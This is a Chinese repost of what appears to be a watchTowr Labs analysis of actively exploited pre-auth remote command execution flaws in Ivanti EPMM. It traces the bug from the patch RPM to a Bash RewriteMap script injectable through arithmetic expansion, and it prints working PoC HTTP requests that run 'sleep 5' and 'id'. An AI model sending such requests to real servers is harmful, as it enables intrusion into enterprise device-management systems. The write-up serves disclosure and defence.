文章总结: 本文分析IvantiEPMM中正在被利用的预认证RCE漏洞。攻击者通过ApacheRewriteMap触发Bash脚本,利用算术扩展特性实现命令注入。官方已提供临时补丁替换脚本,建议立即应用并监控异常流量,等待2026年Q1正式版发布后及时升级。 综合评分: 96 文章分类: 漏洞分析,漏洞POC,代码审计,WEB安全,漏洞预警
有人把 Bash 玩得太溜了,我们爱死这个漏洞了(Ivanti EPMM 预认证 RCE CVE-2026-1281 & CVE-2026-1340)
watchTowr watchTowr
赛博知识驿站
2026年2月3日 19:00 中国香港
要点速览
watchTowr Labs 分析了 Ivanti EPMM 中两个已被 APT 组织在野利用的 pre-auth RCE 漏洞(CVE-2026-1281 和 CVE-2026-1340),并成功复现了攻击链。
漏洞背景
- • 影响 Ivanti Endpoint Manager Mobile (EPMM) 企业移动设备管理平台
- • 已被添加至 CISA KEV 清单,确认有限数量客户被攻击
- • Ivanti 目前仅提供临时 RPM 补丁(需在每次配置变更后重新应用),正式修复版本
12.8.0.0预计 2026 年 Q1 发布
技术分析关键点
- 1. 补丁分析入口:通过逆向 RPM 补丁包发现两个 Java 类文件(
AFTUrlMapper.java和AppStoreUrlMapper.java)替换了原有的 Bash 脚本 - 2. 攻击路径:Apache HTTPd 配置中的
RewriteMap将/mifs/c/appstore/fob/3/<int>/sha256:<payload>/<file>.ipa端点的请求路由至 Bash 脚本/mi/bin/map-appstore-url - 3. 攻击向量:利用 Bash 的算术扩展(Arithmetic Expansion)特性实现命令注入
- • 通过
st=theValue参数(含两个空格填充以通过长度校验)设置gStartTime变量 - • 在
h=gPath[sleep 5]参数中注入命令 - • 当脚本执行
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]时触发算术扩展,导致数组索引中的命令替换被执行
PoC 示例
GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20>%20/mi/poc%60%5D/13371337-1337-1337-1337-133713371337.ipa HTTP/1.1
该漏洞利用了 Bash 变量间接引用和算术扩展的组合,当 gStartTime 指向包含命令替换的 theValue 变量时,Shell 在解析数组索引过程中会执行注入的命令。
有人把 Bash 玩得太溜了,我们爱死这个漏洞了(Ivanti EPMM 预认证 RCE CVE-2026-1281 & CVE-2026-1340)
当 Ivanti 解除了 CVE-2026-1281 和 CVE-2026-1340 的禁令时,我们松了一口气。这两个漏洞是 Ivanti 端点管理移动解决方案(EPMM)中正在被主动利用的预认证远程命令执行漏洞。
显然,宇宙决定继续按计划嘲笑那些”安全设计”的签署者——每年一月准时上演。
欢迎回到又一次行业级的集体心理辅导环节。
我们必须再次强调:毁掉你周末的不是今天这篇文章,而是正在利用这些漏洞的 APT 组织,以及你对 Ivanti 和 CISA 警告的无动于衷。
EPMM 是什么?
Ivanti 端点管理移动解决方案(EPMM)是一个企业移动管理平台(MDM/UEM),用于管理、保护和执行针对 iOS、Android 等移动设备、应用和内容的策略。
大型组织通常部署它来控制企业移动设备、分发应用程序,以及保护对企业资源的访问。
“保护”——这个词用得真讽刺。
发生了什么?
在本周的”Ivanti 发布公告”节目中,根据官方安全公告,披露了两个漏洞:
公告中有一句话格外刺眼:
我们注意到在披露时,极少数客户的解决方案已被利用。
“我们注意到”和”极少数”这些措辞,很可能在做大量的掩饰工作。
需要明确的是,以下版本的 Ivanti EPMM 已修补:
- • 无
“什么意思?”
Ivanti 发布的是”有承诺问题的补丁”(未来任何后续更改后都需要重新应用,否则会被回滚)——直到 2026 年第一季度发布 12.8.0.0 版本才会有正式补丁。
糟糕透了吧?
这些临时补丁 RPM 包名称为:
- •
ivanti-security-update-1761642-1.0.0L-5.noarch.rpm - •
ivanti-security-update-1761642-1.0.0S-5.noarch.rpm
更严重的是,这些漏洞被立即添加到 CISA 的已知被利用漏洞(KEV)列表中。
让我们深入分析…
分析开始
Ivanti 向客户提供了 RPM 补丁包(目前仍需付费获取):
我们重点分析 12.7.0.0 版本的 RPM 补丁。
使用 rpm 工具查看包内容,发现其中包含两个未编译的 Java 文件:
- •
AFTUrlMapper.java - •
AppStoreUrlMapper.java
通过以下命令查看安装过程中执行的脚本:
rpm -qlp --scripts ivanti-security-update-1761642-1.0.0L-5.noarch.rpm
关键步骤分析:
1. 编译 Java 类
/etc/alternatives/javac /tmp/ivanti-security-update-1761642/AppStoreUrlMapper.java
/etc/alternatives/javac /tmp/ivanti-security-update-1761642/AFTUrlMapper.java
2. 文件系统操作
/bin/cp /tmp/ivanti-security-update-1761642/AppStoreUrlMapper.class /mi/bin/AppStoreUrlMapper.class
/bin/chown root:root /mi/bin/AppStoreUrlMapper.class
/bin/chmod 700 /mi/bin/AppStoreUrlMapper.class
3. 修改 Apache HTTPd 配置(关键点)
/bin/sed -i \
-e 's|RewriteMap mapAppStoreURL prg:/mi/bin/map-appstore-url|RewriteMap mapAppStoreURL "prg:/bin/java -cp /mi/bin AppStoreUrlMapper"|g' \
-e 's|RewriteMap mapAftStoreURL prg:/mi/bin/map-aft-store-url|RewriteMap mapAftStoreURL "prg:/bin/java -cp /mi/bin AFTUrlMapper"|g' \
/mi/config-system/xsl/httpd_ssl_conf.xsl
这里揭示了关键信息:
- • Ivanti EPMM 定义了两个 Apache
RewriteMap实例 - • 原本指向 Bash 脚本:
/mi/bin/map-appstore-url和/mi/bin/map-aft-store-url - • 补丁用新的 Java 类完全替换了这些 Bash 脚本
结论很明显:漏洞存在于那些 Bash 脚本中。
通过 HTTP 触达 Bash 脚本
在 Apache 配置中搜索 mapAppStoreURL 的使用位置,找到:
RewriteRule ^/mifs/c/appstore/fob/3/([0-9]+)/sha256:(.*)/(.*)(.ipa)$ ${mapAppStoreURL:$2_$1_$3_$4_%{HTTP_HOST}_%{ENV:SCRIPT_URL}}
这意味着:
当你发送 HTTP 请求到:/mifs/c/appstore/fob/3/<int>/sha256:<something1>/<something2>.ipa
Apache 会执行 /mi/bin/map-appstore-url Bash 脚本,输入为:
<something1>_<int>_<something2>_.ipa_<HostHeader>_<EndpointPath>
攻击者的梦想场景:
- • ✅ 无需认证的端点
- • ✅ 可以传递攻击者控制的字符串到 Bash 脚本
测试请求示例:
GET /mifs/c/appstore/fob/3/105/sha256:kid=1,st=1341879970,h=123aabf796106cfb2ab40cbbd43ba5b44fd937f1a5856e0a95640ba6f9d71843,et=1969735722/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa HTTP/1.1
Host: f5-research-lab-ioc-block-it-all.f5
绝望的 Bash 代码审计
起初我们很乐观,以为很容易找到注入点。
然而我们盯着这些 Bash 脚本看了好几个小时,完全找不到利用方法。
脚本的功能是:允许用户从 Ivanti EPMM 批准的应用商店检索移动应用。需要提供:
- •
kid– 盐值字符串索引 - •
st– 下载操作开始时间 - •
et– 下载操作结束时间 - •
h– SHA256 哈希验证 - • 应用商店文件 GUID
我们花了大量时间探索各种命令/代码注入点,什么都没找到。
最终利用 – 算术扩展
灵感在午睡中降临,PoC 请求如下:
GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue ,et=1337133713,h=gPath[`sleep 5`]/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa
看起来很奇怪?让我们分析:
脚本中的关键代码:
case ${theKey} in
kid)
gKeyIndex="${theValue}"
;;
st) # [1]
gStartTime="${theValue}"
;;
h) # [2]
gHashPrefixString="${theValue}"
;;
esac
注意 st 值在 HTTP 请求中是:theValue(末尾有两个空格以满足长度验证)
而 h 值是:gPath[sleep 5]
魔法发生在这一行:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]] ; then
这里 gStartTime 指向 theValue 变量!而在 case 语句的最后一次赋值中,theValue 的值是 gPath[sleep 5]。
在算术扩展过程中,如果变量被当作数组处理,且数组索引包含命令替换,shell 会在解析索引时执行该命令。
当表达式被扩展时,sleep 5 命令会作为该过程的一部分被执行。
简而言之:Bash 脚本使用一个变量(
gStartTime)引用另一个变量(theValue),而命令(sleep 5)作为算术扩展和 shell 求值的结果被执行。
构建你自己的检测特征
为了证明我们的分析,以下请求执行了 id > /mi/poc 命令:
GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue ,et=1337133713,h=gPath[`id > /mi/poc`]/13371337-1337-1337-1337-133713371337.ipa HTTP/1.1
Host: f5-research-lab-ioc-block-it-all.f5
安全建议:
- 1. 立即应用 Ivanti 提供的临时补丁
- 2. 监控相关端点的异常访问
- 3. 检查是否存在已被利用的迹象
- 4. 等待 12.8.0.0 正式版本发布后及时升级
这个漏洞展示了一个精妙的 Bash 算术扩展利用技巧,攻击者对 shell 特性的深入理解令人印象深刻。
原文:https://labs.watchtowr.com/someone-knows-bash-far-too-well-and-we-love-it-ivanti-epmm-pre-auth-rces-cve-2026-1281-cve-2026-1340/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛博知识驿站 watchTowr watchTowr《有人把 Bash 玩得太溜了,我们爱死这个漏洞了(Ivanti EPMM 预认证 RCE CVE-2026-1281 & CVE-2026-1340)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








![[系统安全]一.什么是逆向分析、逆向分析应用及经典扫雷游戏逆向](/images/random/titlepic/13.jpg)
![[系统安全]二.如何学好逆向分析及吕布传游戏逆向案例](/images/random/titlepic/15.jpg)
评论